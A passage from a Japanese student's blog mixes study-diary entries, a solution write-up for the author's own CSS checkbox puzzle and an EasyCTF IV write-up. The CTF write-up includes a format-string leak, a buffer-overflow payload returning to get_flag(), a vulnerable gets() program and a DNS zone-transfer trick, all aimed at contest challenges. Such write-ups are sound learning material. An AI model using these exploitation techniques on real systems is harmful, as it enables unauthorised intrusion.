更新日時で差をつけろ

もはや更新日時でしか差を付けられない

3/6

x86エミュレータ本を今日も進めた。addとかpushとか実装してだんだん形になってきて楽しい。ModR/Mがちょっとややこしい。
(Elixirで)300行程度なのでまだまだわかる。
rm32r32をどこかで見たことがあると感じたが、pwnの最中にアセンブリの命令を調べているときにページに載っていたものだった。なるほど。

「バイナリで遊ぼう!」本を最後まで読み切った。
アセンブリ短歌をやってみようとした。が、自分でアセンブリを手打ちしたことがないので手が動かない…「Cで書いてアセンブルして読む」というのをやっぱりまずはやるべきなのかな。基礎。

Pony という言語を見つけた。アクターモデル?を採用していて、データロックという概念が存在しなかったりするらしい。マイナーかと思えばGitHubリポジトリには結構starがついている。楽しそう。

群論本はちょっと難しくなってきてあんまり進めなかった。

3/5

午前中はAtCoder Omedesを作っていた。Elixirのリハビリ。コンテストごとにレート色が上がった人を祝福してくれます。
午後からはx86エミュレータをElixirで作っていった。条件分岐をif-elseでやるか、ガードでやるか、もしくはループをEnumで実現するかパターンマッチ+再帰で書くか迷う。
HTTPoisonなどを読んでみるべきだろうか。コードリーディングは若干苦手だが…
The BEAM Bookというのもあるみたい。

群論なんかこわくない」「バイナリで遊ぼう」も100ページ弱まで進んだ。
アーベル群とか部分群とか出てきて本格的になってきた。
アセンブリ短歌が想像以上に面白い。でも自分では思いつかないなぁ…

本を読むのは楽しいけど、ちゃんと身につけるようにしたい。どうやったらいいのかわからないからとりあえず手を動かすようにはしている。
pwnもcryptoも最近してないしそれに関して言えばよくない。もっと集中してスピード上げたい。

IOLは書類をやっとポストに入れてきた。通るかな?

3/4

朝メールをチェックすると情報処理学会から電子図書館の案内が来ていたので見てみた。「認証基盤」とかいう堅苦しいページでログインして学会誌を開こうとするもロードが遅い遅い。どういうことなんだろう…

最新版のを見ると「LSI配線問題」というものについての特集があった。いかにうまくマス上に回路を配置するか、というものらしい。なんとなく制約充足問題っぽいな〜と思ってたらその通りで、SATソルバを使って解いていた。他にも機械学習や0-1整数計画法というものを使った解き方が紹介されていた。

3年分ぐらいの学会誌を漁ってみるとファイルシステムとかディジタルゲリマンダについての特集があり、ためになりそうなのでダウンロードした。ぼちぼち読んでいきたい。
論文も一部公開されているので見てみたけど、やっぱり難しく書かれててサクッと読むものではないと感じた。

「バイナリで遊ぼう!」を50ページぐらい読んだ。とはいってもプログラムを書くわけではないのでそんなに時間はかけていない。「バイナリ体操」を日々の生活に取り入れて健康なバイナリアンを目指します。
tarが無圧縮のフォーマットであるというのを今更知った。いや以前どこかで見たはずなんだけど忘れたんだよなあ。

群論なんかこわくない」もわずかに進めた。反復しながら読んでいくのが安全っぽい。

「自作エミュレータで学ぶx86アーキテクチャ」を読み始めた。親切なことにC言語でのソースコードが別途配布されている。が、それを動かすだけでは勉強にならない(かつ自己満足ができない)のでElixirなどで真似して書いてみることにした。
Elixirで書かれたエミュレータは他にもあるみたいだし、多分大丈夫。

IOLの書類を書き上げた。結構手こずった…
TOEICは単語音読に1時間半かけるよりリスニングをなんとかしたほうが良いと感じたので比率を調整した。英検1級の過去問を使ってやっていきたい。
フォロワーの人に THC CTF というのを紹介してもらったので一緒に出ることにした。楽しみ。

3/3: 閉寮

閉寮なので家に帰った。1ヶ月後には後輩ができるのか…
久しぶりに浴槽に浸かれた。素晴らしい。

なんとなく図書館に行った。x86エミュレータの本が目当てだったけど他にもいろいろ面白そうなのでついつい8冊借りてしまった…
割と薄めの本ばっかりだしルータ本と線形代数本とTOEICあってもなんとかなるでしょ!w

  • 自作エミュレータで学ぶx86アーキテクチャ Twitterでおすすめされているのを見た。著者の人すごい…。個人的に表紙にキャラクター載ってるとちょっとアレ。かわいいとはいえ。
  • 群論なんかこわくない 対話形式で進める群論の入門の本。適当に数学書の棚に行ったらあった。すでに60ページほど読んだ。
  • APIデザイン ケーススタディ Rubyのメソッドを作る際に考えられたことをコミッタの人が書いてる
  • リンカ・ローダ 実践開発テクニック 半年前だったらまず手に取らなかったであろう本。というか全部そう。実際にリンカを作るので楽しそう。
  • ソーシャル・エンジニアリング コミュ力を身に着けたい(誤った動機
  • バイナリで遊ぼう! どこかでおすすめされてた本。俳人になりてえ
  • Linuxカーネルソースコード」を読み解く たまたま見かけたので。ブートプロセスを取り上げた本もあったけどちょっと難しそうなのでこっちで慣れることにした。
  • インターネットフォレンジック 某氏に影響されて借りた。実例が載っているので良い。
  • 学んでみよう! 記号論 SAT/SMTソルバがここしばらくマイブームで、目次にCNFという文言があったので借りた。ポップなタイトルと表紙とは裏腹に中身はガチっぽい。

他にもシェル芸でCMSを作る本とか大じゃない方の熱血アセンブラ入門とかあったけど量が量なので見送り。

EasyCTF IV の MalDropper を解きたくてC#のデコンパイラを入れたいのにILSpyが動いてくれない。困った...

IOLの1次予選はとりあえず感想を紙に書き写して、解法も半分ぐらい書き終わった。これで伝わるといいんだけれど。
「1000字も書けねえ〜」とか言ってる割にはこの日記は1000字ぐらいあるんだよな。

Chocolate Cookie 解説

バレンタインの直前に思いついたので、チョコレートのパッケージに混入させてURL渡したりTwitterに投げてみたりしたんですが結局誰も解けなかった・解かなかったみたいです…難易度が高すぎただけなのか、はたまたエスパーだったのか…

問題

http://o0i.es/chocolate に置いてあります。

想定解法

開発者ツールなどでページのHTMLを見てみます。
まず<div id='message'>があり、<input type='checkbox'> が7x7のマスを構成しています。
その後に<span> が大量に配置されています。そしてその間に{が1つ配置されています。
checkboxをオンにすると色が濃くなってチョコチップっぽくなります。
適当にオンオフしていくと下の文字が変化したりしなかったりします。

しかし、ここには<script>が見当たりません。どのようにして<span>の文字を変えているのでしょうか?また、Here's a chocolate cookie...という文字列もHTMLファイルには記述されていません。どこから来ているのでしょうか?

ページタイトルに「CSS: Chocolate Sugoku Suki」とあることですし、CSSを見てみましょう。
style.cssrules.cssを読み込んでいるようです。

まずは前者から。先頭にいきなりFLAGの形式が書かれています。FLAG{s.........}ですね。
<div id='message'>の内容もここから来ています。
CSS--name: valueの形で変数を作ることができます。他のプロパティで参照するときはvar(--name)のようにして参照します。#0099ffなどだいたい何でも入れられます。

:root {
  --message: "Here's a chocolate cookie for you, find FLAG" /* FLAG{s.................} */ "!";
  --cacao: "C";
  --ushio: "h";
  --banana: "1";
}
 
...
 
#message::after {
  content: var(--message); 
}

続きを見てみましょう。

span:first-of-type::after {
  content: counter(f, upper-alpha);
}
 
span:first-of-type+*::after {
  content: counter(v, upper-alpha);
}
 
span:first-of-type+*+*::after {
  content: counter(j, upper-alpha);
}
 
span:first-of-type+*+*+*::after {
  content: counter(y, upper-alpha);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: counter(e, lower-alpha) var(--banana);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: '}';
}

span:first-of-typeでページ内の一番最初の<span>を選択し、隣接セレクタ+とユニバーサルセレクタ*を組み合わせて次の要素を取っています。
span:first-of-typeなら1番目、span:first-of-type+*なら2番目、span:first-of-type+*+*なら3番目…という感じです。
そしてそれの::after疑似要素・contentプロパティを使って何らかの文字を表示しています。実際に表示される文字はここで決定されるようです。

通常はcontent: "new!";のように文字列を使用することが多いですが、ここではcounter()を用いています。カウンタは、主に<li>でリスト表記をするときに番号を自動で割り振るために使われるものです。MDNが詳しいです。
デモも置いておきます。

たとえば1番目ではfカウンタの数値をupper-alpha、つまりアルファベットの大文字にして表示しています。何も指定しない場合は数字が出力されます。
途中でvar()を使ってはじめに定義した変数を表示している部分もあります。

これらを読んでいくと、<span>で表示されるそれぞれの文字は以下のカウンタの値と固定値で出来上がることになります。'で囲っているのが固定値です。

f v j y '{'(spanの間) g q(数値) h n l k(数値) c 'h'(--ushio) i o r 'C'(--cacao) p t d e '1'(--banana) s u(数値) '}'

fvjy{g.....}のカウンタの値を先程のFLAG{s......}と対応させることができればFLAGがわかるということです。

ゴールがわかったので、次にrules.cssを見てみましょう。
似たようなコードが繰り返されています。

input:nth-of-type(3):checked ~
input:nth-of-type(8):not(:checked) ~
input:nth-of-type(34):checked {
  counter-increment: h 3 g 1 r 3 f 1 k 2;
}
 
...

input:nth-of-type(N)でN番目のcheckboxを選択し、それぞれがON(:checked)かOFFかでスタイル(もはやスタイルではない)を適用するか決めています。
~はその要素以降の兄弟要素に対して適用されます。

この場合だと、「ONになっている3番目のcheckbox」の後ろに「OFFになっている8番目のcheckbox」があり、さらに後に「ONになっている34番目のcheckbox」がある場合に適用されます。
つまり、「3番目がON」かつ「8番目がOFF」かつ「34番目がON」ならば適用するという意味だとわかります(以降これをルールと呼びます)。

counter-incrementはその名の通りカウンタをインクリメントするのですが、後ろに数値を指定することで増加数を自由に変えられます。ここではh += 3, g += 1, r += 3, f += 1, k += 2という感じです(カウンタの中身はあくまで数値で、表示するときにアルファベットにしているだけです)。
試しに問題ページで3,8,34番目を操作してみると変化がわかりやすいと思います。

このrules.cssのすべてのルールに合うようにすればFLAGが出てくるのでしょうか?

…答えはNOです。
もういくつか見てみると以下のinput:nth-of-type(2)のように、互いに矛盾しているルールがあります。FLAG{sという文字列にするために使うルールと使わないルールがあり、その組み合わせを求める必要があります。

input:nth-of-type(2):not(:checked) ~
input:nth-of-type(39):checked ~
input:nth-of-type(44):not(:checked) {
  counter-increment: n 3 s 3 f 1 d 3;
}
 
input:nth-of-type(2):checked ~
input:nth-of-type(6):checked ~
input:nth-of-type(16):not(:checked) {
  counter-increment: p 2 f 1 k 2 j 3;
}

でもどうやって求めるのでしょうか?
全探索? O(249) = 562949953421312通りなので厳しいですね。

制約充足問題 で検索してみましょう! wikipediaを引用します。

制約充足問題(せいやくじゅうそくもんだい、英: Constraint satisfaction problem, CSP)は、複数の制約条件を満たすオブジェクトや状態を見つけるという数学の問題を指す

これの例としてよく挙げられるのは数独です。それぞれのマスを変数として、「ヨコの行・タテの列・3x3の正方形に1~9を1回ずつしか使えない」という制約を満たすような数字の入れ方を求める制約充足問題になります。
この数字を求める、つまり問題を解いてくれるスゴイものがSAT/SMTソルバと呼ばれるものです。
代表的なSATソルバにminisatがあります。SAT ソルバー 入門 がわかりやすいのでおすすめです。

ただ、SATソルバでは真偽の制約(aがtrue, bがfalse, かつcがfalse…)しか扱えないので直接扱うには大変な場合があります。対してSMTソルバは内部でSATソルバを呼び出しますが、整数の大小・「AならばB」などを制約として扱う構文を備えているのでSATよりもシンプルに書くことができます。
パズルをSugar制約ソルバーで解く も見てみると雰囲気がつかめると思います。

さて、それではこの問題にはどのような制約があるでしょうか?

  • 3つすべてのcheckboxが条件を満たしてはじめて、ルールが有効になり、それに応じてそれぞれのカウンタに加算する
    • 逆に、「ルールを使わないときは加算しない」「ルールで指定されていないカウンタには加算しない」(見落としがちです)
  • f v j y gカウンタの値はそれぞれF L A G sに対応する数値になる

この2つです。
1番目の制約は、たとえば以下のルールがあったとき

 input:nth-of-type(2):not(:checked) ~
 input:nth-of-type(39):checked ~
 input:nth-of-type(44):not(:checked) {
   counter-increment: n 3 s 3 f 1 d 3;
 }

このように変換できます(擬似コードです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then n += 3, s += 3, f += 1, d += 3, (それ以外) += 0
if not rule_satisfied then (すべてのカウンタ) += 0

…と言いたいところですが、SMTソルバはtrue/falseで表現される制約を解くためのものなので、n += 3のように「変数に逐次値を足していってから比較する」ということができません。私もここで詰まり2日ほど考えた末「あとから全部まとめて和をとって比較する」ようにすればうまくいくことに気づきました。

具体的には以下のようにルールごとの増分を記録する配列を作り、制約をかけます(普通の代入とそっくりです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then
  table[rule1][n] == 3, table[rule1][s] == 3, table[rule1][f] == 1, table[rule1][d] == 3,
  table[rule1][それ以外] == 0
if not rule_satisfied then table[rule1][すべてのカウンタ] == 0

そして、これを用いれば2番目の制約が表現できます。fカウンタの値はそれぞれのルールでの増分の和になるので、table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f]として表現できます。

table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f] == 'F'
table[rule1][v] + table[rule2][v] + table[rule3][v] ... table[ruleN][v] == 'L'
table[rule1][j] + table[rule2][j] + table[rule3][j] ... table[ruleN][j] == 'A'
table[rule1][y] + table[rule2][y] + table[rule3][y] ... table[ruleN][y] == 'G'
table[rule1][g] + table[rule2][g] + table[rule3][g] ... table[ruleN][g] == 's'

あとはこの2つをプログラムに落とし込むだけです!
私はz3というSMTソルバを使って解きました。GitHubにRubyでのコード例を載せています(あんまりきれいじゃないね…)。

実行するとFLAG{sという文字が現れるようなルールの組み合わせと、それらを満たすcheckboxのオンオフ、計算されたFLAGが出力されます。
実際のページでやってみると…うまくできました! FLAG{s0rry4Ch3apCh0co1at3}がFLAGです。

その他

  • 最初のバージョンではルールの数が20しかなく、O(220)で組み合わせるルールの全探索が可能でした
  • ルールを増やしたところ解が複数になってしまい削減できなかったため苦肉の策としてFLAGの1文字目を指定しました
    • これのせいで全探索の計算量減っちゃうかも?誰かおしえて
  • Xmas Contest 2017 I問題を解くために調べているときに思いつきました
  • CSSはチューリング完全

EasyCTF IV write-up

EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。

Substitute 50pts

easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.をまるごと投げたら通った。は?
sedするよりもhttp://quipqiup.com に投げたほうが早い。

$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g'
 
yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.

Soupreme Encoder 20pts

FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")でよかった。

Intro: Reverse Engineering 30pts

もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3

#!/usr/bin/env python3
import binascii
key = "DbitqlPo"
def mystery(s):
    r = ""
    for i, c in enumerate(s):
        r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
    return binascii.hexlify(bytes(r, "utf-8"))
 
expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41'
plain = mystery(binascii.unhexlify(expected).decode('utf-8'))
 
print(binascii.unhexlify(plain).decode('utf-8'))

format 160pts

x64でのFSB。espが指す場所にそのまま積まれている。

user95405@shell:/problems/format$ ./format
Enter your name: %p %p %p %p %p %p %lx %lx %lx
Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520
 
Enter your secret password (in hex)
4625f352
easyctf{p3sky_f0rm4t_s7uff}

Starman 1 80pts

ナップザックDP。

#include <iostream>
#include <vector>
#include <algorithm>
 
using namespace std;
 
int r[2018], w[2018];
int dp[2018][2018];
 
int main() {
    int N, W;
    cin >> N >> W;
    for (int i = 0; i < N; i++) cin >> r[i] >> w[i];
 
    for (int i = 0; i < N; i++) {
        for (int k = 0; k <= W; k++) {
            if (k >= w[i]) {
                dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]);
            } else {
                dp[i+1][k] = dp[i][k];
            }
        }
    }
 
    cout << dp[N][W] << endl;
 
    return 0;
}

Liar 70pts

デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。

def encode number
  f = [
    0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a,
    0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08,
    0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce,
    0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0,
    0x87, 0x8f, 0x9a, 0xca, 0x81
  ]
  g = []
  buf = number ^ 0x58eb29
 
  0x25.times do |i| # <-----
    g[i] = 0xFF & ((buf * i) ^ f[i]) 
  end
 
  g[0x25] = 0
 
  g.each { |x| print x.to_s(16) + ' ' }
  puts g.map(&:chr).join
end
 
encode gets.to_i

出力される文字はeasyctf{なので、<---で示したループにおいてi=1のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61になればよい。
XORをとるとnumberは5827374とわかるので入力に与えるとFLAGが出る。

$ ruby exploit.rb
5827374
65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}

Adder 80pts

radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337になればFLAGを表示する。

~/c/e/adder $ ./adder
Enter three numbers!
1337 0 0
easyctf{y0u_added_thr33_nums!}

Keyed Xor 100pts

案外苦戦した。
大量の単語が改行区切りで入ったwords.txtから2単語選び連結した文字列と暗号文keyed_xor.txtのXORを取るとFLAGが出るらしい。

words.txtは20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravatで始まっていることがわかる。

$ xxd keyed_xor.txt 
00000000: 0406 140b 0202 070f 0308 1217 030f 140b  ................
00000010: 0718 0e15 070b 0615 121a 1906 000b 011c  ................
00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612  ................
00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211  ................
00000040: 131a 1719 1d16 111d 1517 08              ...........
$ irb
irb(main):002:0> (0x04 ^ 'e'.ord).chr
=> "a"
irb(main):003:0> (0x06 ^ 'a'.ord).chr
=> "g"
irb(main):004:0> (0x14 ^ 's'.ord).chr
=> "g"
irb(main):005:0> (0x0b ^ 'y'.ord).chr
=> "r"
irb(main):006:0> (0x02 ^ 'c'.ord).chr
=> "a"
irb(main):007:0> (0x02 ^ 't'.ord).chr
=> "v"
irb(main):008:0> (0x07 ^ 'f'.ord).chr
=> "a"
irb(main):009:0> (0x0f ^ '{'.ord).chr
=> "t"

aggravatで始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。

encrypted = File.binread('keyed_xor.txt').bytes
 
['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a|
  File.read('words.txt').split("\n").each do |b|
    decrypted = ''
    key = a + b
    encrypted.each_with_index do |ch, i|
      decrypted += (key[i % key.size].ord ^ ch.ord).chr
    end
    
    puts decrypted
  end
end

Digging for Soup 150pts

2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。

gyazo.com

gyazo.com

https://i.gyazo.com/48002ac037b4f7fc3040c7ec2fb21a6c.png

EzReverse 140pts

実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDEとして表すと、以下のような式が成り立つときにFLAGを表示する。

4 + D = 'o'
4 + D + 0xe = 3 + C
1 + A = 5 + E - 10
2 + B = '5'
3 + 4 + D = 5 + E

あてはまる文字列はg3zkmになる。

$ ./executable g3zkm
Now here is your flag: 10453125111114 

rop1 120pts

バッファオーバフローでget_flag()にリターンさせる。これぐらいはラクラク解けるようになってきた。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void get_flag()
{
    system("/bin/cat flag.txt");
}
 
void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}
 
int main(int argc, char** argv)
{
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    get_input();
    return 0;
}

get_flag()0x400646にある。

$ python -c  'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1
You said: 
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Little Language 250pts

何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。

次のような数式っぽい画像encryptedと、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
https://i.gyazo.com/5ad7213d010347427d611fb66e461424.png

S : E                           { ExpS $1 }
  | global var '=' E            { GlobalVarS $2 $4 }

REDACTEDとして除去されていた画像中のpasswordはl7&4C&Cgなようだ。

$ strings password
....
note: the password is l7&4C&Cg

与えられたアドレスとポートに接続すると、対話型の画面が出る。

> 3 + 5
8
> ghiehut4
Lexなんとか Error

おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpSはおそらくExpression, 式のことで、GlobalVarSグローバル変数ではないかと思った。$2は左側のvarの位置に入力された文字列が入り、$4には左側にあるE(式)の評価結果が入ると推測して入力してみる。

> global username = root
....
> global password = l7&4C&Cg
....
> username
root

どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。

> login
(エラー)
> login username password
(エラー)
> signin
(エラー)
....
> flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}

実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。

2/18

一日中若干頭と目元が痛かった。モニタの見すぎと文字(制御文字含め)の見すぎのダブルパンチ。でも気分はよかった。

Scrapboxにメモしていた興味のある事柄を整理整頓した。
パタヘネというあだ名がついているコンピューターの構成と設計 という本を見つけた。有名な本で大学でも利用されているらしい。
府立図書館に入っていたので春休みに借りてみたい(その前にリバースエンジニアリングバイブル最後まで読み切りたい…

15:00ぐらいまで暗号のPDFを読んでいた。30ページ進んだ。RSA暗号の仕組みを理解できた(説明しろと言われると難しいので、やっぱりまだかな)。
Cryptoはこわくて敬遠してたけどなるべくできるようになっておいたほうが良いと思う。

剰余環、有理体などという難しそうな話もあったが、ちょっとずつ読めばなんとなくわかった。足す引く掛ける演算に渡す引数と返り値が同じタイプの数(たとえば整数)のときそのタイプを環と考えたり、剰余では独特な逆数(=逆元??)と割り算を考えて環から体というものに持ち込んだりする考え方が新鮮だった。
RSAを知った当初は「どうやったらこんなのを思いつくんだ??」と不思議だったけれど、ElGamal暗号とか数学の世界で剰余環においてのべき乗の一方向性などが研究されていたのがベースにあったと知り偶然ではないんだなぁと。

例の「ハンバーガーメニューみたいな等号」は合同式という名前がついていると知ったので、 NITAC miniCTF で出題されたけど解かなかったRSAの入門の問題を解いた(素数p,q, 公開鍵N, eが与えられ、de ≡ 1 (mod (p-1)(q-1)) Dec(c) = c^d mod n に当てはめるだけだがそのときはわからなかった)。
Pythonでの例が示されていたが、Pythonは嫌いなのでRubyOpenSSL::BNを使った。標準のInteger(Bignum)では無理だった。

RSAやSHA256という名前こそセキュスペを取るときやWebサービスを作るときに覚えたものの、内部の仕組みまで把握していなかったので面白いし、言及している内容もセキュスペとかぶる部分があるので頭に入ってくる。

なんとなく部屋の中に文字が多すぎる気がしたので本棚の本を前後反対にして背表紙の文字が見えないようにした。特になにも変わらなかった。

EasyCTFを進めていこうとしたが、なかなかもう解ける問題がない。かんたんな問題を3つほど通して80位ぐらい。せめて2桁には残りたい。
300 Solvedなのにわからない問題が…何かを見落としているのだろうか。
暗号の知識を早速使ってみようとするもののわからない…write-up待つだけになりそうw

今日は明石高専の学力入試だったので、なんとなく「明石高専 寮 生活」とかで検索してみるとかなり上の方にたのしい潮寮生活が来ていた。ちょっとうれしい。
新入生の何人かがこれを読んでいる可能性も十分にある。学内表彰をもらっても良いのでは?(適当)

明日も休み うれしい